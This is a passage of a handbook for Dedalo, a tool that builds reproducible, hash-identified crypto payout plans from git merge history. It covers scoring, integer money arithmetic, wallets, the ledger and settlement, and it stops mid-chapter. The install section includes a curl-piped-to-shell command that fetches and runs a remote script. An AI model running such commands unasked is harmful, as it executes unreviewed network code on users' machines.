Introduction
Dedalo turns merges that are already in a git repository into a deterministic, auditable payout plan — and, eventually, into money that reaches the people who wrote the code.
The premise is narrow on purpose. Dedalo keeps no database of who did what. A round is a function of two things that already live in your repository:
merge history + dedalo.toml ──▶ a payout plan, identified by its own hash
Run it twice on the same history and the same config, on any machine, and you get the same plan with the same id. So a plan whose id changed is a plan someone tampered with, and anybody — a contributor, an auditor, a funder — can recompute a round instead of trusting the maintainer who published it.
What this book is
The handbook: how Dedalo works, how to operate it, and what its guarantees actually mean.
It is not the API reference. That is generated from the source by rustdoc
and published per released version on
docs.rs/dedalo — the copy that matches the crate you
installed, rather than one built from whatever main looked like this morning.
Every link to a type or function in this book goes there.
| You want | Go to |
|---|---|
| To run a round today | Quickstart |
| To understand the arithmetic | Money |
| Every config key | dedalo.toml |
| Every command and flag | Command line |
| Signatures and types | docs.rs/dedalo |
| To decide whether to trust it | What is proved |
Why merges
Because a merge is the moment a project has already decided that work was worth having. It is reviewed, it is dated, it names its authors and its co-authors, and it is signed into a history nobody can quietly rewrite. Every other candidate — issues closed, hours logged, a maintainer’s judgement at the end of the month — needs somebody to type it in, and anything typed in is something that can be typed in wrong.
That decision has a cost, and this book states it rather than hiding it: work that never becomes a merge on the tracked branch earns nothing. Review, triage, documentation written in an issue thread, the design conversation that saved a month — none of it scores today. Review-weighted attribution is the first of those gaps being closed, and the roadmap names the rest.
What Dedalo will not do
Being explicit about this is most of the reason the project can be trusted with money at all.
- It does not hold a signing key. Not in CI, not in config, not on a
maintainer’s laptop.
dedalo proposeprints transactions; people execute them from a multisig. There is no flag that changes this. - It does not pretend to broadcast. The
evmbackend builds the exact call a plan translates into and then returns an error rather than a fake receipt. A settlement path that lies is worse than one that is missing. - It does not round in its own favour. Fees round down, always, and the remainder stays with contributors.
- It does not silently drop anyone. A contributor with no wallet on file
appears in the plan’s
unresolvedlist with a reason, and the money is accounted for rather than absorbed.
Where things stand
The pipeline from git history to a verified, reproducible payout plan is implemented and tested end to end. On-chain settlement is not live. The vault’s rules are ordinary Rust with a test per refusal; the deployable that wraps them is an Arbitrum Stylus crate, and it is unaudited and undeployed.
How funds move lists what has to exist before anything
real moves. Until then the default backend is dry-run, which produces
identical numbers minus the broadcast.
Install
Dedalo is one crate that builds one binary. Pick whichever of these fits how you already install things.
From crates.io
cargo install dedalo --locked
--locked builds against the dependency versions the release was tested with.
Without it Cargo is free to pick newer ones, which is usually fine and
occasionally is not the thing you want from a tool that computes payments.
Prebuilt binary, no compile
cargo binstall dedalo
cargo-binstall reads the
metadata in Cargo.toml, fetches the release archive for your platform from
the releases page, and skips the compile.
Install script
curl -fsSL https://raw.githubusercontent.com/dedalo-org/dedalo/main/install.sh | sh
The script verifies the published SHA-256 before it installs anything.
Note — piping a script from the network into a shell is a thing worth being awake for. Read
install.shfirst if you have not; it is short, and it is the same file the checksum covers.
Platforms
Releases are built for five targets:
| Target | Notes |
|---|---|
x86_64-unknown-linux-gnu | |
x86_64-unknown-linux-musl | static, for containers and CI images |
aarch64-apple-darwin | Apple silicon |
x86_64-apple-darwin | Intel macs |
x86_64-pc-windows-msvc | published as .zip |
Every archive ships with a SHA-256 checksum and signed build provenance. To check that a binary came from this repository’s release workflow and not from somewhere else:
gh attestation verify dedalo --repo dedalo-org/dedalo
In a GitHub workflow
Do not install it by hand. Dedalo ships as an action:
- uses: dedalo-org/dedalo@v0
with:
command: plan
amount: "1000"
See In CI for the whole job, including the
fetch-depth: 0 that attribution needs.
As a library
The binary is a thin shell over the library in the same crate. Turning the
default features off leaves the pipeline without clap, tokio or a tracing
subscriber:
[dependencies]
dedalo = { version = "0.1", default-features = false }
See Using the library.
Building from a clone
git clone https://github.com/dedalo-org/dedalo
cd dedalo
cargo build --release
rustup reads rust-toolchain.toml on entry, so you get the compiler CI uses
without choosing one. The minimum supported version is 1.90.0, and it is
verified rather than asserted: CI builds with exactly that compiler on every
pull request.
Check it worked
$ dedalo --version
dedalo 0.1.0
Quickstart
Ten minutes, no money, no wallet, no chain. At the end you will have a payout plan for a real repository and a ledger that proves it was not edited afterwards.
1. Describe the project
cd my-project
dedalo init --open-collective my-project
That writes a commented dedalo.toml at the repository root. It is meant to be
committed: the file is the project’s funding policy, and it should be
reviewed like any other change. See dedalo.toml
for every key.
The three addresses under [wallets] are zeroed placeholders. Leave them for
now — nothing in this chapter sends anything anywhere.
2. See what is unpaid
$ dedalo scan
4 merges since af3141b5
9c2f1ab feat(parser): streaming tokenizer ada +412 -38
1de77c0 fix(cli): honour NO_COLOR bea +11 -4
4a0b93e docs: rewrite the configuration chapter cy +96 -21
7f10d55 feat(money): largest-remainder splits ada +180 -12
scan reads merge commits on the branch named in [git] branch, starting
after the last settled commit. Nothing has been settled yet, so this is the
whole history.
Note — nothing here reaches the network. Stages 1 to 3 of the pipeline read the repository and compute; only settlement has side effects.
3. Score them
$ dedalo contributors
HANDLE MERGES POINTS SHARE
ada <ada@example.com> 2 1,124 62.35%
cy <cy@example.com> 1 432 23.96%
bea <bea@example.com> 1 247 13.69%
Scores are milli-points, integers, computed from the rules in
[attribution]: a flat score per merge, per-line scoring, a per-merge cap, and
Co-authored-by: splitting. Same history, same numbers, every machine. See
Attribution.
4. Price a round
$ dedalo plan --amount 1000
Round ded106bd7281 4 merges on main → 7f10d55
Gross 1000 USDC
PAYEE KIND WALLET SHARE AMOUNT
ada contributor 0xAdA00000000… 51.44% 514.39
cy contributor 0xCy000000000… 19.77% 197.71
bea contributor 0xBeA00000000… 11.29% 112.90
treasury treasury 0x2222222222… 15.00% 150
demo-collective protocol 0x3333333333… 2.50% 25
The fee schedule comes off the top first, then the rest is split by weight.
ded106bd7281 is the plan’s id: a hash over everything that determines the
outcome. It excludes the timestamp on purpose, so re-running this command gives
you the same id.
Try it. Then change one number in [attribution] and try again — the id moves,
because the answer moved.
5. Simulate the settlement
$ dedalo settle --amount 1000
dry-run: 5 transfers, 1000 USDC, plan ded106bd7281
ok plan id matches its contents
ok transfers sum to the gross amount
ok no transfer to the zero address
nothing was broadcast
settle without --execute runs the whole settlement path against the
dry-run backend: it re-verifies the plan and reports exactly what would move.
The numbers are the ones a real settlement would use.
6. Check the record
$ dedalo verify
head dedc6ddbbef5415e6dcbf805b60affd83c49
ok 2 entries hash to their recorded ids
ok 1 settled plan present and self-consistent
.dedalo/ now holds a hash-chained ledger of what happened. Every entry names
its parent and hashes over it, so editing an old one breaks every id after it.
verify needs no network and no key — it is a check anyone with a clone can
run, which is the whole point. See The ledger.
Every command takes --json
$ dedalo plan --amount 1000 --json | jq '.items[] | {handle, amount}'
The JSON shape is a contract, not incidental output: action.yml parses it and
tests/cli.rs pins the fields it reads. See JSON output.
Next
- Your first round — the same thing with real identities and a real decision about who gets paid.
- The pipeline — what each stage is allowed to do.
- In CI — where this belongs long term.
Your first round
The quickstart produced numbers. This chapter produces numbers you would be willing to defend, which is a different job: it is mostly about identities, and about the two questions a plan makes you answer.
Link the people
Attribution scores git emails, because that is what a commit carries. A payout goes to a wallet. The mapping between them is the only part of Dedalo that a human types in, and therefore the only part that can be wrong in a way arithmetic cannot catch.
dedalo identity link ada 0xAdA0000000000000000000000000000000000000 \
--email ada@example.com \
--email ada@work.example
One handle, one wallet, as many emails as that person commits under. This is what makes one wallet, one transfer true: someone who commits from three machines is one payee, not three.
identity link validates the address before it writes it down, and tells you
how strong that check was:
$ dedalo identity link ada 0xAdA0000000000000000000000000000000000000 --email ada@example.com
linked ada → 0xAdA0000000000000000000000000000000000000
warning: EIP-55 checksum carries 7 bits for this address
a typo has roughly a 1-in-128 chance of surviving it
confirm the address with ada through a second channel
That warning is not boilerplate. EIP-55 hides its checksum in the capitalisation of the hex letters, so an address with few letters carries few bits. See Identities and wallets.
Find who is still missing
$ dedalo identity missing
2 contributors have no wallet on file
cy@example.com 1 merge 23.96% of the pending round
dee@example.com 1 merge 4.10% of the pending round
Run this before you plan, every time. It is the difference between a round you meant and a round you have to redo.
The two questions a plan asks
Is this the right split?
$ dedalo plan --amount 1000
Read the SHARE column, not the AMOUNT column. The amounts follow from the
shares; the shares follow from [attribution], and if a share looks wrong the
fix is in the config, not in the plan.
A merge that vendored a dependency and scored 5,000 points is the classic case.
That is what max_points_per_merge is for, and the moment to set it is now,
before the round rather than after it.
Is anybody being dropped?
$ dedalo plan --amount 1000 --json | jq '.unresolved'
[
{ "email": "cy@example.com", "reason": "no identity links this email" },
{ "email": "dee@example.com", "reason": "no identity links this email" }
]
Nobody is ever silently dropped — but “reported” is not “paid”. Two ways forward, and they are a real choice:
| What happens | |
|---|---|
| Link them first, then plan | They are in the round. Requires reaching them. |
| Plan now | Their share stays in the round, unclaimed, until they link a wallet and claim it. |
The second is the point of the pull model: a round
is deposited once against a Merkle root, and each contributor claims their own
share whenever they turn up. undistributed stops meaning “money with nowhere
to go” and starts meaning “not claimed yet”.
Careful —
dedalo settle --allow-undistributedexists for the case where nobody in a round has a wallet and you meant to send the fees alone. If you find yourself reaching for it in a normal round, anidentity linkis missing and the flag is the wrong answer.
Save the plan, then act on the saved one
dedalo plan --amount 1000 --save
--save writes the plan into .dedalo/objects and records it in the ledger.
From then on, refer to it by id:
dedalo propose --plan ded106bd7281
dedalo settle --plan ded106bd7281
This matters more than it looks. Without --save, settle --amount 1000
recomputes the plan — and if a merge landed in the meantime, that is a
different plan from the one you reviewed. Saving first means the round people
approved is the round that executes.
Commit the record
git add dedalo.toml .dedalo/
git commit -m "chore: fund round ded106bd7281"
.dedalo/ belongs in git and must never go in .gitignore. A CI job clones
fresh; a runner that cannot see past rounds would pay them again.
When it is real
Everything above ran against the dry-run backend and spent nothing. What has
to be true before a round moves actual funds is listed in
Funding from a multisig — the short version is a
deployed and audited claim contract, three real addresses, and signers who are
not one person.
The pipeline
Four stages, and the line between the third and the fourth is the most important line in the codebase.
git ──▶ attribution ──▶ payout plan ──▶ settlement
─────────── pure, offline ──────────┤ side effects live here
| Stage | Input | Output | May it touch the network? |
|---|---|---|---|
git | a repository | merge events | no — reads the working tree |
attribution | merge events + policy | integer weights | no |
payout | weights + fees + identities | a PayoutPlan | no |
chain::settlement | a plan | a receipt, or a refusal | yes, and only here |
Why the line is there
Stages 1 to 3 are a pure function. Given the same repository at the same
commit and the same dedalo.toml, they produce byte-identical output on any
machine, in any order, however many times you run them. That is what makes a
plan checkable by someone who does not trust you: they run the same function
and compare ids.
The moment any of those stages could read from the network, that stops being true. A price feed, a “current” exchange rate, an API that lists contributors — each one turns a reproducible computation into a snapshot of a moment that cannot be reproduced. So the rule is absolute rather than a preference:
Careful — if you find yourself reaching for the network inside
attributionorpayout, the design has gone wrong. There is no exception for “just once, cached”.
Stage 1 — read the history
git::GitBackend is a trait with four methods: the repository root, the
current branch, resolving a revision, and listing merges matching a query. The
shipped implementation, CliGit, drives the git binary.
It is a trait for two reasons. Tests substitute a backend built from
dedalo::testing, which makes throwaway repositories with real merge commits.
And a different implementation — libgit2, a server-side API, or a version
control system that is not git at all — can be dropped in without touching
anything downstream. The rest of the pipeline never sees a git invocation;
it sees MergeEvent values.
What a MergeEvent carries: the merge commit’s hash and date, who pressed
merge, the commits it introduced with their authors and Co-authored-by:
trailers, and the aggregated diff of the merge against its first parent.
Note — everything downstream of this stage is already abstract over the version control system. The concrete work of making Dedalo run on something other than git is issue #23: git stays the reference implementation and the source of truth for git projects, but “a merge” is not a git-only idea.
Stage 2 — score it
Attribution turns merges into integer weights in
milli-points. Rules come from [attribution] in the config; nothing here knows
about money.
Stage 3 — build the plan
Payout does three things in a fixed order:
- Take the fee schedule off the top — protocol first, then treasury.
- Split what remains across contributors by weight, using the largest-remainder method.
- Resolve each contributor to a wallet via
identities, merging the several emails of one person into
one item, and listing whoever could not be resolved under
unresolved.
The result is a PayoutPlan and its id: a hash over the range, the policy,
the fee schedule and the resulting items. The id deliberately excludes
created_at, because the time you ran it is not part of the answer.
Stage 4 — settle
Settlement is the only stage with side effects, and it is mostly refusals. It re-verifies the plan’s id against its contents before doing anything, refuses the zero address, refuses a round that reaches nobody, and refuses a plan id the ledger has already settled.
Two backends ship. dry-run reports what would move and moves nothing.
evm validates the configuration, builds the exact distributor call the plan
translates into, and then returns Error::NotImplemented rather than a
receipt — because broadcasting from an unaudited signing path would put real
funds at risk, and a fake receipt would be worse than an honest refusal.
Where the ledger sits
The ledger is not a stage. It is the record the stages write to:
a plan saved with --save is recorded, and a settlement appends an entry
naming its parent. It is what makes rounds idempotent — the same plan id
cannot be settled twice — and what dedalo verify reads.
Attribution
Attribution answers one question: of the work merged in this range, what fraction is each person’s? It answers it in integers, and it never looks at money.
The unit
Scores are milli-points: u128, where 1 point is 1,000 milli-points.
That is not a style choice. points_per_insertion = 1.0 is a decimal in the
config because writing “half a point per deleted line” as 0.5 is what people
mean, but a float in the scoring path would make the result depend on the order
of additions and on the machine’s rounding mode. Two contributors could get
different shares from the same history on different laptops, and neither could
prove the other wrong. So the decimals in the config are converted to
milli-points once, at the edge, and everything after that is integer
arithmetic.
What a merge is worth
merge_points = base_points
+ insertions × points_per_insertion
+ deletions × points_per_deletion
── capped at max_points_per_merge
| Key | Default | What it does |
|---|---|---|
base_points | 100 | Flat score every merged pull request earns, regardless of size. |
points_per_insertion | 1.0 | Per added line. |
points_per_deletion | 0.5 | Per removed line. Deleting code is work too. |
max_points_per_merge | 5000 | Ceiling, so one merge cannot dominate a round. |
credit_merger | false | Also credit whoever pressed merge. |
split_with_co_authors | true | Share a commit’s score with its Co-authored-by: trailers. |
The diff is measured against the merge’s first parent, which is what “what
did this merge bring into main” means. A merge that brings in nothing scores
base_points and no more.
Why base_points exists
Without it, scoring is purely per-line, and per-line scoring rewards verbosity.
A one-line fix to an off-by-one that was losing money is worth more than a
three-hundred-line refactor of a test helper, and no line-counting formula will
ever say so. base_points is the part of the score that says “this was
reviewed and merged”, which is the only judgement git actually records.
Projects that want the flat part to dominate raise it; projects paying for bulk work lower it. There is no correct value, and the config is the place that decision is written down and reviewed.
Why the cap exists
One merge that vendors a dependency, regenerates a lockfile, or imports a
grammar can be a hundred thousand lines. Without max_points_per_merge that
merge takes the round. The cap is applied to the merge before its score is
split between people, so it cannot be evaded by adding co-authors.
Splitting within a merge
A merge’s points are divided across the people it credits:
- every commit’s author;
- their
Co-authored-by:trailers, whensplit_with_co_authorsis on; - whoever pressed merge, when
credit_mergeris on.
Splitting uses the same largest-remainder method the money does, so a merge’s points sum back to exactly what the merge was worth. There is no path where a rounding step quietly creates or destroys a point.
Who is excluded
[git]
ignore_subjects = ["chore(release)", "Merge branch"]
ignore_emails = ["noreply@github.com", "actions@github.com"]
ignore_subjects drops a merge entirely when its subject starts with one of
these. Release commits are the main case: a version bump merged by automation
is not contribution, and paying for it means paying for the act of paying.
ignore_emails drops an author. Bots commit, and a bot with a wallet is a way
for a round to leak.
Both are prefix and exact matches respectively — no globbing, no regular expressions. A pattern language here would be a place for a subtle mistake to hide, and the thing being decided is who gets paid.
What attribution does not see
Worth stating plainly, because it is the honest limit of the model:
- Review. The person who caught the bug in review scores nothing today. This is the largest known gap; review-weighted attribution is tracked and on the roadmap.
- Issues, triage, support. A maintainer who spends the month answering questions merges nothing and earns nothing.
- Design and decisions. The conversation that avoided a month of work leaves no merge.
- Squash-only repositories. A repository that squash-merges without merge commits currently produces no merge events at all — see issue #13.
None of these is a reason not to run Dedalo. They are reasons to know what the number means: it is a share of merged code, not a share of contribution, and a project that wants to reward the rest can do so from the treasury slice that every round sets aside.
Determinism
The same range and the same policy always produce the same weights. Merges are ordered oldest to newest by the backend, scores are integers, and the split is deterministic. Nothing consults a clock, a random number, an environment variable or the network.
That property is what makes plan reproducible, and it is tested rather than
asserted: verification.toml records attribution as covered by property
tests, and tests/adversarial.rs asks specifically whether two different
histories can be made to produce the same weights, or one history two different
sets.
Money
This is the chapter to read if you are deciding whether to trust Dedalo with funds. Everything in it is enforced by tests, and most of it is proved exhaustively — see What is proved for the difference between those two words.
Amounts are integers
pub struct Amount(u128);
An Amount is a count of base units of an Asset: wei, satoshi,
USDC micro-units. The asset carries the decimals needed to render it for a
human, and that rendering happens at the edge, for display only.
Floating point never touches a balance. 0.1 + 0.2 != 0.3 in binary floating
point, and a payout system that cannot make three shares add up to the round is
a payout system that either creates money or loses it. Percentages are basis
points (u16, 10,000 = 100%), never floats, for the same reason.
Money —
Amount::parseconverts a human decimal string like"12.5"into base units exactly once, at the boundary. There is nof64in the path from that call to the transaction.
The fee schedule
A round is cut in a fixed order, off the top:
gross
├── protocol_bps → the network's Open Collective (default 2.5%)
├── treasury_bps → this project's own reserve (default 15%)
└── the remainder → contributors, by attribution weight (default 82.5%)
FeeSchedule::validate refuses a schedule where the two fees reach 10,000 bps,
because contributors would receive nothing and that is never what somebody
meant to configure.
Fees round down
Always, and in the contributors’ direction. When protocol_bps of a gross
amount is not a whole number of base units, the fee is the floor and the
remainder stays in the pool that gets split across people.
This is the one place where an arbitrary choice had to be made and the direction matters: the alternative rounds fractions of a base unit into the protocol’s pocket, on every round, forever. The choice is stated here, tested, and proved over every fee schedule that validates — all 50,005,000 of them.
Splitting
Amount::split_by_weights divides an amount across integer weights using the
largest-remainder method:
- Give each recipient
floor(amount × weight / total_weight). - Whatever is left over — always fewer base units than there are recipients — goes one unit at a time to the recipients with the largest fractional remainders, ties broken deterministically.
The properties that follow, each with a test:
| Property | Meaning |
|---|---|
| Conservation | The shares sum to exactly the input. Not approximately. |
| Zero weight, zero pay | A weight of zero never receives a base unit. |
| Monotonicity | A larger weight never receives less than a smaller one. |
| Determinism | The same weights in the same order always split the same way. |
Conservation is the one that matters most, and it is why the method is largest-remainder rather than “divide and round each”. Rounding each share independently loses or creates base units depending on which way the fractions fell; the difference is small per round and unbounded over time.
Proved, not sampled
- Every basis-point value — all 65,536 — rounds down and never exceeds its input.
- Every weight vector of length ≤ 4 with weights ≤ 6 — all 2,800 of them — conserves the total, never pays a zero weight, and never pays a larger weight less.
- Every fee schedule that validates — all 50,005,000
(protocol_bps, treasury_bps)pairs — cuts a round into three slices that sum to exactly the gross, with no fee rounded up.
Longer weight vectors and larger weights are sampled by property tests, not
proved. That distinction is recorded per module in verification.toml rather
than blurred, and the verification chapter explains
why the line is drawn where it is.
Nothing is created, nothing goes missing
A plan’s transfers plus its undistributed field always equal exactly the
gross amount that funded it. There is no third possibility:
gross == protocol fee + treasury + Σ contributor transfers + undistributed
undistributed is money that has no destination — the share of contributors
who have no wallet linked. It is stated, not absorbed into somebody else’s
slice and not quietly dropped. Under the pull model
it is not even lost: it stays in the round until its owner claims it.
Careful — a defect that made this false was real: a round in which nobody had a wallet silently dropped 82.5% of the funds. It is fixed, and
tests/adversarial.rsnow holds it down. Tests markedFOUND:in that file are regressions for defects that happened here, not hypotheticals.
Overflow
u128 is not infinite. Arithmetic in the money path uses checked or saturating
operations rather than wrapping ones, and a round large enough to overflow is
an error rather than a very small number. verification.toml counts the
arithmetic sites in each module and fails the build when the count changes, so
a new multiplication cannot be added to this path without somebody looking at
it.
Identities and wallets
Attribution scores git emails. A transfer needs an address. The mapping between them is the only part of a round a human types in, which makes it the only part that can be wrong in a way arithmetic cannot catch.
The shape
[[identities]]
handle = "ada"
wallet = "0xAdA0000000000000000000000000000000000000"
emails = ["ada@example.com", "ada@work.example"]
One handle, one wallet, many emails. Managed from the command line so the file stays valid:
dedalo identity link ada 0xAdA… --email ada@example.com --email ada@work.example
dedalo identity list
dedalo identity missing
dedalo identity remove ada
One wallet, one transfer
A contributor who commits from a laptop, a work machine and the GitHub web editor has three emails in the history. Attribution scores all three. Without merging, the plan would contain three items paying the same address — three transfers, three times the gas, and a payout table that looks like three people where there is one.
So contributors are merged into a single item before the plan is finalised, keyed on the wallet. Addresses are compared case-insensitively, because EIP-55 checksumming means the same account has two valid spellings and a case-sensitive comparison would treat them as two payees.
That last sentence is a test, not a remark: tests/adversarial.rs asks
specifically whether one account spelled two ways can be paid twice.
Nobody is silently dropped
A contributor whose email matches no identity does not vanish. They appear in
the plan’s unresolved list, with a reason:
{
"unresolved": [
{ "email": "cy@example.com", "reason": "no identity links this email" }
],
"undistributed": "197710000"
}
and their share is counted in undistributed, so the plan still balances
exactly. Two ways to resolve it, and the choice is real:
- Link them and re-plan. Requires reaching the person. The round then pays them directly.
- Fund the round anyway. Under the pull model their share sits in the round against the Merkle root until they link a wallet and claim it. Nothing is lost by waiting.
How strong is the checksum
identity link validates an address before writing it down, and reports how
much that validation is worth.
An Ethereum address is 40 hex characters. EIP-55 hides a checksum in
the capitalisation of the hex letters — the characters in a-f. Digits
carry no case, so they carry no checksum. An address with many letters is well
protected; an address that happens to be mostly digits is barely protected at
all.
| Letters in the address | Bits of checksum | A typo survives with probability |
|---|---|---|
| 20 (typical) | 20 | ~1 in 1,000,000 |
| 15 (average) | 15 | ~1 in 32,000 |
| 7 (unlucky) | 7 | ~1 in 128 |
| 0 (all digits) | 0 | always |
Address::checksum_bits returns the number, and identity link warns
when it is low:
warning: EIP-55 checksum carries 7 bits for this address
a typo has roughly a 1-in-128 chance of surviving it
confirm the address with ada through a second channel
This is not the tool covering itself. The residual risk genuinely belongs to whoever pasted the address — no validator can recover a checksum that the encoding never carried — and saying so is more useful than a green tick that means less than it looks like it means.
Careful — for a wallet that will receive real money, confirm the address out of band: read the first and last six characters back to the person over a channel that is not the one it arrived on. The checksum catches typing mistakes. It does not catch an address that was substituted in transit.
Handles
The handle is a label. It appears in the payout table and in --json, and it
is usually a GitHub username — but nothing checks that, and nothing resolves it
against any service. Dedalo does not call GitHub to find out who anybody is; it
reads the repository and the config, and that is the whole of it.
The handle is not part of the plan id. Renaming ada to
ada-lovelace leaves the id unchanged, because the same wallet still receives
the same amount. The wallet is what a plan commits to; the handle is how it is
read.
Payout plans
A PayoutPlan is the artifact between git history and a transaction. It is
pure data: computed offline, reviewable in a pull request, and identified by a
hash of everything that determines it.
It exists so that the question “is this round correct?” can be answered by reading a document, rather than by trusting the program that produced it.
What is in one
{
"id": "ded106bd7281…",
"project": "my-project",
"created_at": 1766000000,
"asset": { "symbol": "USDC", "decimals": 6, "chain": "base", "contract": "0x8335…" },
"range": { "branch": "main", "from_commit": "af3141b5…", "to_commit": "7f10d55…", "merges": 4 },
"split": {
"gross": "1000000000",
"protocol": "25000000",
"treasury": "150000000",
"contributors": "825000000"
},
"items": [
{ "kind": "contributor", "handle": "ada", "wallet": "0xAdA…",
"amount": "514390000", "score": 1124000, "share_bps": 5144 },
{ "kind": "treasury", "handle": "treasury", "wallet": "0x2222…",
"amount": "150000000", "score": 0, "share_bps": 1500 },
{ "kind": "protocol", "handle": "demo-collective", "wallet": "0x3333…",
"amount": "25000000", "score": 0, "share_bps": 250 }
],
"undistributed": "197710000",
"unresolved": [
{ "name": "Cy", "email": "cy@example.com", "score": 432000,
"reason": "no-wallet" }
]
}
Amounts are strings because they are u128 base units, and JSON numbers are
doubles. A number here would round silently above 2^53, which is well inside
the range of a token with 18 decimals.
The id
id = ded1 ‖ SHA-256(
"dedalo.payout-plan.v1"
‖ project
‖ asset.symbol ‖ asset.chain ‖ asset.decimals ‖ asset.contract
‖ range.branch ‖ range.from_commit ‖ range.to_commit
‖ split.gross ‖ split.protocol ‖ split.treasury ‖ split.contributors
‖ undistributed
‖ for each item: kind ‖ wallet ‖ amount
)[..16]
Every field is length-prefixed before it is hashed, so no two different plans
can serialise to the same byte string by moving a boundary — ("ab", "c") and
("a", "bc") hash differently, which is exactly the kind of collision an
attacker would go looking for.
What is deliberately outside the hash, and why:
| Excluded | Why |
|---|---|
created_at | The time you ran the command is not part of the answer. Including it would mean the same round computed twice never matched itself. |
handle | A label for humans. Renaming ada to ada-lovelace does not change who is paid what — the wallet does. |
score | Derived from the weights that produced the amounts; the amounts are what the plan commits to. |
range.merges | A count of what the commit range already determines. |
unresolved | Nobody in it is being paid. It is reported for review, and it is covered by undistributed, which is hashed. |
The encoding carries a version byte. Changing what goes into the hash changes every plan id, so it is a breaking change under the release policy and the version byte is what makes an old id and a new id distinguishable rather than merely different.
Three consequences, and they are the reason the id exists:
- Reproducibility is checkable. Anyone with the repository and the config recomputes the plan and compares one string. No diffing of tables.
- Tampering is loud. Change an amount, a handle, a wallet, or the fee split, and the id changes. Settlement re-derives the id from the contents before it does anything and refuses a plan whose id no longer matches.
- Rounds are addressable.
--plan ded106bd7281refers to exactly one document, forever.
Note — two different plans sharing an id would break all three. That is the first thing
tests/adversarial.rstries to construct.
Saved plans
dedalo plan --amount 1000 --save
writes the plan into .dedalo/objects under its id and records a
plan-created entry in the ledger. From then on:
dedalo propose --plan ded106bd7281
dedalo settle --plan ded106bd7281
Do this for any round that will be reviewed by somebody other than the person
who ran it. settle --amount 1000 recomputes a plan from current history; if a
merge landed between the review and the settlement, that is a different
round from the one that was approved. Referring to a saved id removes the
gap.
Reviewing one
A plan is meant to be read. The order to read it in:
range— is this the range you meant?fromshould be the last settled commit,tothe head you intend to pay for.unresolved— is anybody in here who should have been linked?share_bps— do the shares match what the project believes about who did what? Amounts follow from shares; a wrong share is a config problem.- The sum. Items plus
undistributedmust equalgross. The code guarantees it, and checking it once by hand is how you find out that you understand the document. id— recompute it yourself and compare:
dedalo plan --amount 1000 --json | jq -r .id
Why content addressing at all
The alternative is a sequential round number, and it is worse in a specific
way: a number says when a round happened, and says nothing about what was
in it. Two people holding “round 7” can hold different documents and not find
out. Two people holding ded106bd7281 are holding the same bytes or they are
not holding it at all.
It also makes idempotence trivial to define. “Do not settle the same round twice” becomes “refuse a plan id already in the ledger”, which is an exact check rather than a heuristic about dates and amounts. See The ledger.
The ledger
.dedalo/ is shaped like .git, because the problem is the same one: a record
that many people must be able to check, living in the project rather than on
someone’s server.
.dedalo/
├── HEAD ref: refs/ledger/main
├── refs/ledger/main the newest entry's id
└── objects/de/dc6ddbbe….json one file per entry and per plan
Why a chain
An append-only file is append-only by convention. Nothing stops someone editing a line, and nothing afterwards can tell. For a record of who was paid what, that is not a foundation.
So each entry names its parent, and an entry’s id is a hash over its parent’s id together with its own contents:
HEAD ─▶ dedc9f… ──parent──▶ dedc41… ──parent──▶ dedc07… (root)
settled settled plan-created
Change anything in an old entry and its id changes. Every entry after it named
the old id, so their ids change too, and HEAD stops matching. One value
attests to the whole payout history. This is append-only by arithmetic rather
than by convention.
Publish HEAD — in a release note, a README, a tweet — and anyone with a clone
can confirm that what they are reading is what was written.
Verifying it
$ dedalo verify
head dedc6ddbbef5415e6dcbf805b60affd83c49
ok 4 entries hash to their recorded ids
ok 2 settled plans present and self-consistent
verify recomputes every id from the entry it came from and walks the chain to
the root. It reads only what is committed to the repository: no network, no
key, no credentials. That is the property that matters. A check that requires
the maintainer’s cooperation is a check the maintainer is being trusted for; a
contributor, an auditor or a funder can run this on a fresh clone and get an
answer that does not depend on anybody’s word.
Exit code is non-zero if the chain does not verify, so it belongs in CI.
Idempotence
The ledger is what makes a round happen once.
Before settling, Dedalo checks whether the plan’s id is already recorded as settled, and refuses if it is. Because a plan is content-addressed, “the same round” is an exact notion rather than a guess about dates and amounts.
While settling, it holds an exclusive lock (.dedalo/settle.lock), so two
concurrent jobs cannot both pass the check and both proceed. A retried CI job
does not pay twice, and neither does a workflow that somehow started twice.
The same guarantee is enforced a second time, independently, on chain:
DedaloClaim.deposit refuses a plan id it has already seen. Two mechanisms for
one rule, because the failure mode is paying people twice out of a treasury.
Why plain JSON
Objects are stored as readable JSON rather than compressed blobs. A round is meant to be reviewable in a pull request, and a zlib blob is not reviewable — the diff would be noise, and the review would be of the tool rather than of the numbers.
The cost is size. It is the right trade: a project running twelve rounds a year accumulates kilobytes, and being able to read a payout record in a pull request is worth more than the kilobytes.
Why not in .git/
Because it has to be committed.
A CI job clones fresh. Anything in .git/ that is not a commit does not
survive that clone, and a runner that cannot see past rounds would compute the
range from the beginning of history and pay every one of them again.
Careful —
.dedalo/anddedalo.tomlare public records and belong in git. Do not add them to.gitignore. If a round is missing from a clone, the next round will overlap it.
Entry kinds
| Kind | Written when | Carries |
|---|---|---|
plan-created | plan --save | the plan id and its gross amount |
settled | a settlement completes | the plan id and the backend’s receipt |
The pending range is derived from the newest settled entry: scan starts
after the commit that round covered. --since overrides it when you need to
recompute a range by hand.
Migrating an old ledger
Repositories written by a pre-chain version have a flat ledger.jsonl. It is
detected rather than ignored, because silently starting a new chain next to an
old log would lose the history that says which rounds already happened:
dedalo ledger --migrate
converts the flat log into chain entries and stops. Commit the result.
Settlement
The fourth stage, and the only one with side effects. It is mostly a list of things it refuses to do.
The backends
| Backend | What it does | Status |
|---|---|---|
dry-run | Re-verifies the plan and reports every transfer that would happen. Moves nothing. | default |
evm | Validates the config, builds the exact distributor call the plan translates into, then stops before signing. | returns NotImplemented |
[settlement]
backend = "dry-run"
dry-run is the default because the safe thing should be the default. It
produces the same numbers a real settlement would; the difference is the
broadcast, not the arithmetic.
Careful — the
evmbackend deliberately returns an error instead of pretending to broadcast. If you are reading the source and are tempted to “fix” that by returning a receipt: a settlement path that lies is worse than one that is missing. That refusal is the honest state of the project.
What settlement refuses
Every one of these is a way money could otherwise be lost:
- A plan whose id does not match its contents. The id is re-derived from the plan before anything else happens. This catches an edited plan file, and it catches a plan built by a different version of the code.
- A plan id already settled. The ledger is consulted, and an exclusive lock is held for the duration, so a retry or a concurrent job cannot pay twice. See Idempotence.
- A transfer to the zero address. An unset placeholder in
[wallets]is the common cause, and sending to it burns the money. - A round that reaches nobody. If the whole contributor pool is
undistributed, settlement stops.
--allow-undistributedoverrides it, and exists for the case where you genuinely meant to send only the fees.
Dedalo holds no signing key
Not in CI, not in dedalo.toml, not on a maintainer’s machine. There is no
flag that changes this, and there is no config key that names an environment
variable holding one — settlement.signer_env was removed on purpose and must
not come back.
What happens instead:
